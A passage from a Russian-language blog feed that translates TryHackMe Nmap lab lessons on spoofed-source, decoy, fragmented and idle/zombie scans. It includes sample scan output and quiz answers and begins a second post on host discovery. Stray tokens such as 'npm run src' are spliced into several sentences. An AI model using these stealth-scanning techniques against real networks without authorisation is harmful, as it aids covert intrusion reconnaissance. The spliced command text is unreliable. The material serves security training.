  &lt;p id=&quot;66Um&quot;&gt;На следующем рисунке показано, как злоумышленник запускает команду &lt;code&gt;nmap -S SPOOFED_IP MACHINE_IP&lt;/code&gt;. В результате Nmap сформирует все пакеты, используя предоставленный исходный IP-адрес &lt;code&gt;SPOOFED_IP&lt;/code&gt;. Целевая машина будет отвечать на входящие пакеты, отправляя ответы на целевой IP-адрес &lt;code&gt;SPOOFED_IP&lt;/code&gt;. Для того чтобы сканирование работало и давало точные результаты, злоумышленнику необходимо отслеживать сетевой трафик для анализа ответов.&lt;/p&gt;
  &lt;figure id=&quot;zryM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/45b982d501fd26deb2b381059b16f80c.png&quot; width=&quot;882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NJQr&quot;&gt;Вкратце, сканирование с использованием поддельного IP-адреса состоит из трех шагов:&lt;/p&gt;
  &lt;ol id=&quot;OQ1Q&quot;&gt;
    &lt;li id=&quot;jssv&quot;&gt;Злоумышленник отправляет пакет с поддельным IP-адресом отправителя на целевой компьютер.&lt;/li&gt;
    &lt;li id=&quot;3wiR&quot;&gt;Целевой компьютер отвечает, указывая в качестве адреса назначения поддельный IP-адрес.&lt;/li&gt;
    &lt;li id=&quot;a60Z&quot;&gt;Злоумышленник перехватывает ответы, чтобы определить открытые порты.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Kx5t&quot;&gt;Как правило, предполагается указать сетевой интерфейс с помощью команды &lt;code&gt;-e&lt;/code&gt;&amp;#x60;ping&amp;#x60; и явно отключить сканирование ping &lt;code&gt;-Pn&lt;/code&gt;. Поэтому вместо &amp;#x60; &lt;code&gt;nmap -S SPOOFED_IP MACHINE_IP&lt;/code&gt;ping&amp;#x60; вам потребуется использовать команду &amp;#x60;ping&amp;#x60; &lt;code&gt;nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP&lt;/code&gt;, чтобы явно указать Nmap , какой сетевой интерфейс использовать, и не ожидать ответа на ping. Стоит повторить, что это сканирование будет бесполезно, если система злоумышленника не сможет отслеживать сеть на предмет ответов.&lt;/p&gt;
  &lt;p id=&quot;EmD0&quot;&gt;Находясь в той же подсети, что и целевой компьютер, вы также сможете подменить свой MAC-адрес. Вы можете указать исходный MAC-адрес с помощью команды &amp;#x60;make - &lt;code&gt;--spoof-mac SPOOFED_MAC&lt;/code&gt;...&lt;/p&gt;
  &lt;p id=&quot;TFsf&quot;&gt;Подмена IP-адресов работает лишь в минимальном количестве случаев, когда выполняются определенные условия. Поэтому злоумышленник может прибегнуть к использованию поддельных IP-адресов, чтобы затруднить обнаружение. Концепция проста: сканирование должно выглядеть так, будто оно исходит со множества IP-адресов, чтобы IP-адрес злоумышленника затерялся среди них. Как показано на рисунке ниже, сканирование целевой машины будет выглядеть так, будто оно исходит из 3 разных источников, и, следовательно, ответы будут поступать и в поддельные IP-адреса.&lt;/p&gt;
  &lt;figure id=&quot;tCcl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/754fc455556a424ca83f512665beaf7d.png&quot; width=&quot;882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1cDp&quot;&gt;Вы можете запустить сканирование с использованием ложных целей, указав конкретный или случайный IP-адрес после команды &lt;code&gt;-D&lt;/code&gt;&amp;#x60;.&amp;#x60;. Например, команда &amp;#x60; &lt;code&gt;nmap -D 10.10.0.1,10.10.0.2,ME MACHINE_IP&lt;/code&gt;.&amp;#x60; заставит сканирование MACHINE_IP выглядеть так, будто оно исходит с IP-адресов 10.10.0.1, 10.10.0.2, а затем &lt;code&gt;ME&lt;/code&gt;команда &amp;#x60;.&amp;#x60; укажет, что ваш IP-адрес должен быть третьим в списке. Другой пример команды &amp;#x60;.&amp;#x60; — &amp;#x60;.&amp;#x60; &lt;code&gt;nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP&lt;/code&gt;, где третий и четвертый исходные IP-адреса назначаются случайным образом, а пятым источником будет IP-адрес злоумышленника. Другими словами, при каждом выполнении последней команды вы ожидаете, что в качестве третьего и четвертого источников ложных целей будут использоваться два новых случайных IP-адреса.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;URjF&quot;&gt;Вопрос: Что нужно добавить в команду  &lt;code&gt;sudo nmap MACHINE_IP&lt;/code&gt; , чтобы сканирование отображалось так, будто оно выполняется с исходного IP-адреса,  &lt;code&gt;10.10.10.11&lt;/code&gt; а не с вашего IP-адреса?&lt;/p&gt;
    &lt;p id=&quot;ZiY5&quot;&gt;Ответ: -S 10.10.10.11&lt;/p&gt;
    &lt;p id=&quot;Cmoa&quot;&gt;Вопрос: Что нужно добавить к команде  &lt;code&gt;sudo nmap MACHINE_IP&lt;/code&gt; , чтобы сканирование отображалось так, будто оно выполняется с исходных IP-адресов  &lt;code&gt;10.10.20.21&lt;/code&gt; , а  &lt;code&gt;10.10.20.28&lt;/code&gt; также с вашего собственного IP-адреса?&lt;/p&gt;
    &lt;p id=&quot;dOT1&quot;&gt;Ответ: -D 10.10.20.21,10.10.20.28,ME&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;tlCc&quot;&gt;Task 6. Fragmented Packets &lt;/h2&gt;
  &lt;h3 id=&quot;UVK9&quot;&gt;Брандмауэр&lt;/h3&gt;
  &lt;p id=&quot;jcoG&quot;&gt;Брандмауэр — это программное или аппаратное устройство, которое разрешает прохождение пакетов или блокирует их. Он работает на основе правил брандмауэра , которые можно кратко описать как блокировку всего трафика с исключениями или разрешение всего трафика с исключениями. Например, вы можете заблокировать весь трафик к вашему серверу, кроме того, который поступает на ваш веб-сервер. Традиционный брандмауэр проверяет, как минимум, заголовок IP-адреса и заголовок транспортного уровня. Более сложный брандмауэр также попытается проверить данные, передаваемые транспортным уровнем.&lt;/p&gt;
  &lt;h3 id=&quot;LQab&quot;&gt;ИРС&lt;/h3&gt;
  &lt;p id=&quot;Rek0&quot;&gt;Система обнаружения вторжений ( IDS ) проверяет сетевые пакеты на наличие определенных поведенческих шаблонов или специфических сигнатур содержимого. Она выдает предупреждение всякий раз, когда обнаруживается вредоносное правило. В дополнение к заголовку IP и заголовку транспортного уровня, IDS проверяет содержимое данных на транспортном уровне и проверяет, соответствует ли оно каким-либо вредоносным шаблонам. Как можно снизить вероятность обнаружения вашей активности Nmap традиционным межсетевым экраном / IDS ? На этот вопрос нелегко ответить; однако, в зависимости от типа межсетевого экрана / IDS , может быть полезно разделить пакет на более мелкие пакеты.&lt;/p&gt;
  &lt;h3 id=&quot;OaTo&quot;&gt;Фрагментированные пакеты&lt;/h3&gt;
  &lt;p id=&quot;0u0I&quot;&gt;Nmap предоставляет возможность &lt;code&gt;-f&lt;/code&gt;фрагментации пакетов. После выбора этой опции IP-данные будут разделены на фрагменты размером не более 8 байт. Добавление еще одного параметра &lt;code&gt;-f&lt;/code&gt;( &lt;code&gt;-f -f&lt;/code&gt;или &lt;code&gt;-ff&lt;/code&gt;) разделит данные на фрагменты по 16 байт вместо 8. Вы можете изменить значение по умолчанию, используя параметр &lt;code&gt;--mtu&lt;/code&gt;; однако всегда следует выбирать значение, кратное 8.&lt;/p&gt;
  &lt;p id=&quot;95zv&quot;&gt;Для правильного понимания фрагментации нам необходимо взглянуть на заголовок IP-пакета на рисунке ниже. На первый взгляд он может показаться сложным, но мы видим, что большинство его полей нам известны. В частности, обратите внимание на адрес источника, занимающий 32 бита (4 байта) в четвертой строке, а адрес назначения — еще 4 байта в пятой строке. Данные, которые мы будем фрагментировать на несколько пакетов, выделены красным цветом. Для облегчения сборки на стороне получателя IP использует идентификатор (ID) и смещение фрагмента, показанные во второй строке рисунка ниже.&lt;/p&gt;
  &lt;figure id=&quot;nEKy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/5e55834e2638ba7ec9e84a0900b68ccb.png&quot; width=&quot;1282&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Rphq&quot;&gt;Давайте сравним выполнение команд &amp;#x60;np&amp;#x60; &lt;code&gt;sudo nmap -sS -p80 10.20.30.144&lt;/code&gt;и &amp;#x60; &lt;code&gt;sudo nmap -sS -p80 -f 10.20.30.144&lt;/code&gt;np&amp;#x60;. Как вы уже знаете, в первом случае будет использоваться скрытое сканирование TCP SYN на порту 80; однако во второй команде мы запрашиваем у Nmap фрагментацию IP-пакетов.&lt;/p&gt;
  &lt;p id=&quot;rLif&quot;&gt;В первых двух строках мы видим ARP-запрос и ответ. Nmap отправил ARP-запрос, поскольку целевой объект находится в том же Ethernet-соединении. Вторые две строки показывают TCP SYN-пинг и ответ. Пятая строка — это начало сканирования портов; Nmap отправляет TCP SYN-пакет на порт 80. В этом случае заголовок IP составляет 20 байт, а заголовок TCP — 24 байта. Обратите внимание, что минимальный размер заголовка TCP составляет 20 байт.&lt;/p&gt;
  &lt;figure id=&quot;gLFF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/b817b7d8b8ef9ee64dd9494e31def426.png&quot; width=&quot;915&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ulo8&quot;&gt;При фрагментации, запрошенной через параметр &amp;#x60;--fragment&amp;#x60; &lt;code&gt;-f&lt;/code&gt;, 24 байта заголовка TCP будут разделены на фрагменты, кратные 8 байтам, при этом последний фрагмент будет содержать не более 8 байтов заголовка TCP . Поскольку 24 делится на 8, мы получаем 3 фрагмента IP; каждый из них содержит 20 байтов заголовка IP и 8 байтов заголовка TCP . Три фрагмента можно увидеть между пятой и седьмой строками.&lt;/p&gt;
  &lt;figure id=&quot;29Jx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/953fd599d2afaa8efb36923b02707d2b.png&quot; width=&quot;915&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YNZb&quot;&gt;Обратите внимание, что если вы добавите &lt;code&gt;-ff&lt;/code&gt;(или &lt;code&gt;-f -f&lt;/code&gt;), фрагментация данных будет кратна 16. Другими словами, 24 байта заголовка TCP в этом случае будут разделены на два фрагмента IP: первый будет содержать 16 байтов, а второй — 8 байтов заголовка TCP.&lt;/p&gt;
  &lt;p id=&quot;8oH5&quot;&gt;С другой стороны, если вы предпочитаете увеличить размер пакетов, чтобы они выглядели безобидными, вы можете использовать опцию &lt;code&gt;--data-length NUM&lt;/code&gt;, где num указывает количество байтов, которые вы хотите добавить к вашим пакетам.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PfF1&quot;&gt;Вопрос: Если размер TCP-сегмента составляет 64 байта, и  &lt;code&gt;-ff&lt;/code&gt; используется опция, сколько IP-фрагментов вы получите?&lt;/p&gt;
    &lt;p id=&quot;v4Qm&quot;&gt;Ответ:4 &lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;gneY&quot;&gt;Task 7. Idle/Zombie Scan &lt;/h2&gt;
  &lt;p id=&quot;ZTdR&quot;&gt;Подмена исходного IP-адреса может быть отличным способом скрытого сканирования. Однако подмена работает только в определенных сетевых конфигурациях. Она требует наличия возможности отслеживать трафик. Учитывая эти ограничения, подмена IP-адреса может быть малоэффективна; однако мы можем улучшить этот метод с помощью сканирования в режиме ожидания.&lt;/p&gt;
  &lt;p id=&quot;frnF&quot;&gt;Для сканирования в режиме ожидания, или сканирования «зомби» , требуется система, находящаяся в режиме ожидания и подключенная к сети, с которой вы можете взаимодействовать. На практике Nmap будет создавать видимость каждого зондирующего запроса от хоста в режиме ожидания ( зомби ), а затем проверять, получил ли хост в режиме ожидания ( зомби ) какой-либо ответ на поддельный запрос. Это достигается путем проверки значения IP-идентификатора (IP ID) в заголовке IP. Вы можете запустить сканирование в режиме ожидания, используя команду &amp;#x60;npm run src&amp;#x60; &lt;code&gt;nmap -sI ZOMBIE_IP MACHINE_IP&lt;/code&gt;, где &lt;code&gt;ZOMBIE_IP&lt;/code&gt;&amp;#x60;npm run src&amp;#x60; — это IP-адрес хоста в режиме ожидания ( зомби ).&lt;/p&gt;
  &lt;p id=&quot;aanH&quot;&gt;Для проверки доступности (на наличие « зомби-памяти ») порта необходимо выполнить следующие три шага:&lt;/p&gt;
  &lt;ol id=&quot;3Py9&quot;&gt;
    &lt;li id=&quot;KVlu&quot;&gt;Чтобы записать текущий IP-адрес неактивного хоста, необходимо активировать ответ на этом хосте.&lt;/li&gt;
    &lt;li id=&quot;YBJ4&quot;&gt;Отправьте SYN-пакет на TCP- порт целевого устройства. Пакет должен быть подделан таким образом, чтобы создавалось впечатление, будто он отправлен с IP-адреса неактивного хоста ( зомби-сервера ).&lt;/li&gt;
    &lt;li id=&quot;kF5I&quot;&gt;Повторно запустите неактивный компьютер, чтобы он ответил, и вы могли сравнить новый IP-адрес с тем, который был получен ранее.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;avFk&quot;&gt;Давайте объясним на рисунках. На рисунке ниже показана система злоумышленника, которая проверяет неактивный компьютер — многофункциональный принтер. Отправив SYN/ACK, она отвечает пакетом RST, содержащим её вновь увеличенный IP-адрес.&lt;/p&gt;
  &lt;figure id=&quot;fsE8&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/a93e181f0effe000554a8b307448bbb2.png&quot; width=&quot;882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0CLd&quot;&gt;Злоумышленник отправит SYN-пакет на TCP- порт, который он хочет проверить на целевой машине на следующем шаге. Однако этот пакет будет использовать IP-адрес неактивного хоста ( зомби- хоста ) в качестве источника. Могут возникнуть три сценария. В первом сценарии, показанном на рисунке ниже, TCP- порт закрыт; следовательно, целевая машина отвечает неактивному хосту пакетом RST. Неактивный хост не отвечает; следовательно, его IP-адрес не увеличивается.&lt;/p&gt;
  &lt;figure id=&quot;0VBw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8e28bf940936ddbc2367b193ea3550b8.png&quot; width=&quot;882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;454G&quot;&gt;Во втором сценарии, как показано ниже, TCP- порт открыт, поэтому целевая машина отвечает SYN/ACK неактивному хосту ( зомби- хосту ). Неактивный хост отвечает на этот неожиданный пакет пакетом RST, тем самым увеличивая свой IP-адрес.&lt;/p&gt;
  &lt;figure id=&quot;ouNA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/2b0de492e2154a30760852e07cebae0e.png&quot; width=&quot;882&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AYaL&quot;&gt;В третьем сценарии целевая машина вообще не отвечает из-за правил брандмауэра . Отсутствие ответа приведет к тому же результату, что и при закрытом порту: неактивный хост не увеличит свой IP-адрес.&lt;/p&gt;
  &lt;p id=&quot;eGNv&quot;&gt;На заключительном этапе злоумышленник отправляет еще один SYN/ACK на неактивный хост. Неактивный хост отвечает пакетом RST, снова увеличивая IP-адрес на единицу. Злоумышленнику необходимо сравнить IP-адрес пакета RST, полученного на первом этапе, с IP-адресом пакета RST, полученного на третьем этапе. Если разница равна 1, это означает, что порт на целевой машине был закрыт или отфильтрован. Однако, если разница равна 2, это означает, что порт на целевой машине был открыт.&lt;/p&gt;
  &lt;p id=&quot;K1Jv&quot;&gt;Стоит повторить, что это сканирование называется сканированием в режиме ожидания, поскольку выбор неактивного хоста имеет решающее значение для точности сканирования. Если «неактивный хост» занят, все возвращаемые IP- адреса будут бесполезны.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;eIUu&quot;&gt;Вопрос: Вы обнаружили редко используемый сетевой принтер с IP-адресом  &lt;code&gt;10.10.5.5&lt;/code&gt;, и решили использовать его в качестве «зомби» при сканировании в режиме ожидания. Какой аргумент следует добавить к команде Nmap?&lt;/p&gt;
    &lt;p id=&quot;quMH&quot;&gt;Ответ: -sI 10.10.5.5&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;ft9D&quot;&gt;Task 8. Getting More Details &lt;/h2&gt;
  &lt;p id=&quot;96PG&quot;&gt;Вы можете добавить эту информацию, &lt;code&gt;--reason&lt;/code&gt;если хотите, чтобы Nmap предоставлял более подробные сведения о своих рассуждениях и выводах. Рассмотрите два приведенных ниже сканирования системы; однако, последнее добавляет &lt;code&gt;--reason&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;qRhj&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;Vwl5&quot;&gt;pentester@TryHackMe$ sudo nmap -sS 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:39 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up (0.0020s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds&lt;/pre&gt;
  &lt;p id=&quot;hX96&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;SPkX&quot;&gt;pentester@TryHackMe$ sudo nmap -sS --reason 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:40 BST
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up, received arp-response (0.0020s latency).
Not shown: 994 closed ports
Reason: 994 resets
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
25/tcp  open  smtp    syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
111/tcp open  rpcbind syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds&lt;/pre&gt;
  &lt;p id=&quot;Vc30&quot;&gt;Указание этого &lt;code&gt;--reason&lt;/code&gt;флага дает нам четкое представление о том, почему Nmap пришел к выводу, что система работает или определенный порт открыт. В приведенном выше выводе консоли мы видим, что система считается онлайн, поскольку Nmap «получил arp-ответ». С другой стороны, мы знаем, что порт SSH считается открытым, поскольку Nmap получил обратно пакет «syn-ack».&lt;/p&gt;
  &lt;p id=&quot;T1H5&quot;&gt;Для получения более подробной информации можно использовать команду &amp;#x60;p&amp;#x60; &lt;code&gt;-v&lt;/code&gt;для подробного вывода или &amp;#x60;p&amp;#x60; &lt;code&gt;-vv&lt;/code&gt;для еще большей детализации.&lt;/p&gt;
  &lt;p id=&quot;8e7c&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;ljKS&quot;&gt;pentester@TryHackMe$ sudo nmap -sS -vv 10.10.252.27

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 10:41 BST
Initiating ARP Ping Scan at 10:41
Scanning 10.10.252.27 [1 port]
Completed ARP Ping Scan at 10:41, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:41
Completed Parallel DNS resolution of 1 host. at 10:41, 0.00s elapsed
Initiating SYN Stealth Scan at 10:41
Scanning ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27) [1000 ports]
Discovered open port 22/tcp on 10.10.252.27
Discovered open port 25/tcp on 10.10.252.27
Discovered open port 80/tcp on 10.10.252.27
Discovered open port 110/tcp on 10.10.252.27
Discovered open port 111/tcp on 10.10.252.27
Discovered open port 143/tcp on 10.10.252.27
Completed SYN Stealth Scan at 10:41, 1.25s elapsed (1000 total ports)
Nmap scan report for ip-10-10-252-27.eu-west-1.compute.internal (10.10.252.27)
Host is up, received arp-response (0.0019s latency).
Scanned at 2021-08-30 10:41:02 BST for 1s
Not shown: 994 closed ports
Reason: 994 resets
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
25/tcp  open  smtp    syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
111/tcp open  rpcbind syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
           Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.092KB)&lt;/pre&gt;
  &lt;p id=&quot;syU0&quot;&gt;Если &lt;code&gt;-vv&lt;/code&gt;это не удовлетворит ваше любопытство, вы можете использовать это &lt;code&gt;-d&lt;/code&gt;для отладки деталей или &lt;code&gt;-dd&lt;/code&gt;для получения еще более подробной информации. Вы можете быть уверены, что использование этого метода &lt;code&gt;-d&lt;/code&gt;создаст вывод, выходящий за рамки одного экрана.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;HpJF&quot;&gt;Вопрос:  Запустите AttackBox, если вы еще этого не сделали. Убедившись, что вы завершили работу виртуальной машины из Задания 4, запустите виртуальную машину для этого задания. Дождитесь ее полной загрузки, затем откройте терминал на AttackBox и используйте Nmap для  &lt;code&gt;nmap -sS -F --reason MACHINE_IP&lt;/code&gt; сканирования виртуальной машины. Какова причина открытия указанных портов?&lt;/p&gt;
    &lt;p id=&quot;uA6u&quot;&gt;Ответ: syn-ack&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;jwgI&quot;&gt;Task 9. Summary&lt;/h2&gt;
  &lt;p id=&quot;JFJv&quot;&gt;В этом кабинете проводились следующие виды сканирования.&lt;/p&gt;
  &lt;figure id=&quot;4uwO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/25/7c/257c86d9-0dc5-49ff-8d76-f516b9a7b8f0.png&quot; width=&quot;826&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EbXZ&quot;&gt;Эти типы сканирования основаны на неожиданной установке флагов TCP для запроса ответа от портов. Сканирование Null, FIN и Xmas вызывает ответ от закрытых портов, в то время как сканирование Maimon, ACK и Window вызывает ответ от открытых и закрытых портов.&lt;/p&gt;
  &lt;figure id=&quot;2of7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d3/0b/d30b9884-e25c-49fd-ae41-a07132bf5c0e.png&quot; width=&quot;1121&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;Mynv&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_46</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_46?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 42. Nmap Live Host Discovery</title><published>2026-03-04T08:55:19.711Z</published><updated>2026-03-04T08:55:19.711Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6c/7e/6c7e80e8-9a16-4eab-9310-4d607d3ad769.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/98/f5/98f58362-68c8-44dc-86f0-631cb95ad070.jpeg&quot;&gt;Узнайте, как использовать Nmap для обнаружения активных хостов с помощью сканирования ARP, сканирования ICMP и сканирования TCP/UDP с помощью команды ping.</summary><content type="html">
  &lt;figure id=&quot;Q3Oe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/98/f5/98f58362-68c8-44dc-86f0-631cb95ad070.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TyiY&quot;&gt;Узнайте, как использовать Nmap для обнаружения активных хостов с помощью сканирования ARP, сканирования ICMP и сканирования TCP/UDP с помощью команды ping.&lt;/p&gt;
  &lt;figure id=&quot;mgT2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;D9oj&quot;&gt;Task 1. Introduction &lt;/h2&gt;
  &lt;p id=&quot;yDXp&quot;&gt;Nmap , сокращение от Network Mapper, — это бесплатное программное обеспечение с открытым исходным кодом, распространяемое под лицензией GPL, созданное Гордоном Лайоном (Фёдором), экспертом по сетевой безопасности и программистом, работающим с открытым исходным кодом. Nmap — это стандартный инструмент для построения карт сетей, идентификации активных хостов и обнаружения запущенных служб. &lt;/p&gt;
  &lt;figure id=&quot;NWa5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iGAu&quot;&gt;Скриптовый движок Nmap позволяет расширить его функциональность, от идентификации служб до эксплуатации уязвимостей. Сканирование с помощью Nmap обычно проходит этапы, показанные на рисунке ниже, хотя многие из них являются необязательными и зависят от аргументов командной строки.&lt;/p&gt;
  &lt;figure id=&quot;Ip4D&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/f1b4ede255e008646e425038d709c9b6.png&quot; width=&quot;642&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;cCUs&quot;&gt;Цели обучения&lt;/h2&gt;
  &lt;p id=&quot;ytQq&quot;&gt;Когда мы хотим нацелиться на определенную сеть, нам нужен эффективный инструмент, который поможет нам справляться с повторяющимися задачами и ответит на следующие вопросы:&lt;/p&gt;
  &lt;ol id=&quot;cefF&quot;&gt;
    &lt;li id=&quot;syx6&quot;&gt;Какие системы работают?&lt;/li&gt;
    &lt;li id=&quot;tTyJ&quot;&gt;Какие службы работают в этих системах?&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;UgUh&quot;&gt;В этой комнате дается ответ на первый вопрос о поиске работающих компьютеров. Эта комната — первая из четырех комнат Nmap . Ответ на второй вопрос об обнаружении запущенных служб дается в следующих комнатах Nmap , посвященных сканированию портов.&lt;/p&gt;
  &lt;p id=&quot;x5LC&quot;&gt;В этом разделе объясняется, какие шаги предпринимает Nmap для обнаружения работающих систем перед сканированием портов. Этот этап имеет решающее значение, поскольку попытка сканирования портов офлайн-систем приведет лишь к пустой трате времени и созданию ненужного сетевого шума.&lt;/p&gt;
  &lt;p id=&quot;GZpL&quot;&gt;Мы представляем различные подходы, которые Nmap использует для обнаружения активных хостов. В частности, мы рассматриваем:&lt;/p&gt;
  &lt;ol id=&quot;JiTL&quot;&gt;
    &lt;li id=&quot;gJSJ&quot;&gt;&lt;strong&gt;ARP- сканирование&lt;/strong&gt; : это сканирование использует ARP- запросы для обнаружения активных хостов.&lt;/li&gt;
    &lt;li id=&quot;4dg3&quot;&gt;&lt;strong&gt;ICMP-сканирование&lt;/strong&gt; : это сканирование использует ICMP-запросы для идентификации активных хостов.&lt;/li&gt;
    &lt;li id=&quot;82hl&quot;&gt;&lt;strong&gt;Сканирование TCP / UDP&lt;/strong&gt; с помощью команды ping : это сканирование отправляет пакеты на TCP- и UDP- порты для определения активных хостов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;t3XQ&quot;&gt;Мы также представляем два сканера, &lt;code&gt;arp-scan&lt;/code&gt;и &lt;code&gt;masscan&lt;/code&gt;, и объясняем, как они пересекаются с частью механизма обнаружения хостов Nmap .&lt;/p&gt;
  &lt;h2 id=&quot;kOVS&quot;&gt;Предварительные условия обучения&lt;/h2&gt;
  &lt;ul id=&quot;3Lp5&quot;&gt;
